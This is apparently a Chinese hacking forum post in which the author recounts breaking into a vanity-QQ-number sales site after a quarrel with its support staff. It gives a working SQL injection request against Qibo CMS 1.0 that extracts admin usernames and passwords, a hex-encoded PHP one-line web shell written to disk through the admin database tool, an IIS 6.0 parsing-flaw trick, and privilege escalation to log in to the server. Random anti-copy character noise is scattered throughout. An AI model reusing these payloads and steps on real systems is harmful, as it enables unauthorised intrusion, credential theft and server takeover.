|
7 d: }% r, R9 A) B, @
/ U# l+ R4 `5 z$ P3 L0 H# {( q5 j' a
9 o7 B! S/ X: P$ ]8 @/ P
- z E, w* Z# o2 n+ K 一、踩点寻找漏洞
7 w. |* ^) {$ o4 D, X# H) |7 t3 F, B. a
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
! J: ?2 l; {2 ~( ^$ S5 [, K随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
. Q' t5 M: ?' z# [! ?& ^
先注册一个用户，记住注册时候的邮箱以uid号，
3 f2 a% w. L$ |' t% k" P; \
6 P6 k* y& E1 c* x# N" w) n
3 _" e6 |' g4 b5 C然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
1 O$ y- p! ^ r& `- H" v/ H
1 J: N( K% a1 s0 v9 G+ d( k
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
: `+ d+ t+ @6 \
这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
* n& J; p1 M6 y) m( K! n
8 d# {& o, Q: a% `
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
4 |% P( U0 i* C( j7 w5 S \, o; [
& G! _* N1 C2 \1 |/ M$ @' z
+ P, U. A4 L& R) a! \9 L e0 P解密进后台如图：
/ E% `/ D# o- w: I0 ^' [' h2 e
5 S4 f2 x1 v! `/ G4 M; N+ P
' \8 \1 l4 T: X0 ]- Y2 O
S* a$ r& M$ @二、后台getwebshell
7 m" U* ^3 K/ H, T. l; U8 W进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
& I& |+ x N! ~8 X% f8 w) l4 O* f
* F K5 ?# @1 f, K+ d
$ A5 H+ ~9 ]: R Q/ t
4 I" q" V" S6 w& l$ x. |
然后点确定，添加提示
+ h1 S; `- j2 L4 S
- q: b+ U U* F1 ?% t
/ W/ Q" J7 s% h6 g$ i; ^) l
4 Y) e$ ~6 K- N0 Z" o( f, O8 r
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
* R* \ `1 l. i' h
! j1 A4 I5 r* F$ R. Q- U
2 d" d/ v4 M8 E) A9 ?
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
: M# B, J. B( S) o! R如图：
+ w: s' l& t7 `* T
: d- N, e" w' v* G
4 W l& u: A* G
9 Y3 {" }5 I; G: n之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
, e4 j* ]% k5 j. C5 ~
& `7 [$ N4 U; A, ?1 Y. X' @5 f
) @: F3 w* ]5 Y& ^7 y* x% L/ F
$ [' R$ O: q2 ]7 I+ I三、提权进服务器
& a. v9 g6 ?( J8 @. q* M) i+ H
经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
& q! e$ F) D/ i& A: `9 n
2 N0 Z% t9 D6 A$ K5 U# Z
8 L+ t! `7 d8 D/ A' J6 F0 Q
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
3 v4 S. a3 B3 t0 C8 t
6 _, M) i) H' K2 p0 X$ Q+ Q
+ \' b' o) Z3 }; H5 m- P
然后登陆服务器如图：
3 L1 Q4 I- O, O7 n5 b% g/ A" M
" b8 a E+ ]; Y- G# z# o9 d
 ; r0 y4 e* ^5 F! `
7 R( |) V2 k/ M; ?4 x7 y$ J \$ s G: N: V) P3 X
2 a+ W5 y2 o9 |4 O) ~
难怪普通刀连接不上，原来是有狗。
4 v, _7 @; v8 J, t7 L3 {, Q; Z
: r) _) s1 j9 F" ?
0 R' q2 E5 h4 ^0 V5 x1 w4 f' |
x5 w/ e& D4 p: \% i' c5 a i, \
; q( d- r8 L0 o& v; j0 g4 u& s2 V6 P+ b6 \+ H
' X9 }+ U! T6 ~: s5 j | 
发表于 2018-10-20 20:08:47
收藏
支持
反对